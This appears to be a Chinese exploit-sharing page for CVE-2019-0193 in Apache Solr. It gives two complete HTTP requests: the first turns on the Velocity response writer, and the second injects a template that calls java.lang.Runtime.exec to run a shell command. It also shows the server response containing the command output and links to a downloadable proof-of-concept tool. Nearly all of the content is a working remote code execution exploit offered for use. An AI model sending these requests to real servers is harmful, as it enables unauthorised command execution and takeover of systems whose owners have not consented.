CVE-2019-0193 Apache Solr RCE via Velocity template

# CVE-2019-0193 Apache Solr RCE via Velocity template

Request: test为core Admin中用户
“`
POST /solr/test/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
“update-queryresponsewriter”: {
“startup”: “lazy”,
“name”: “velocity”,
“class”: “solr.VelocityResponseWriter”,
“template.base.dir”: “”,
“solr.resource.loader.enabled”: “true”,
“params.resource.loader.enabled”: “true”
}
}
“`

Request:
“`
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983
“`

Response:
“`
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 56

0 uid=8983(solr) gid=8983(solr) groups=8983(solr)
“`

![image](https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/master/Apache/CVE-2019-0193%20Apache-Solr%20via%20Velocity%20template%20RCE/SolrExp-master/solr.png)
[@s00py](https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt)

# POC
[点我下载](/Gr33kLibrary/download_tool/100/)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容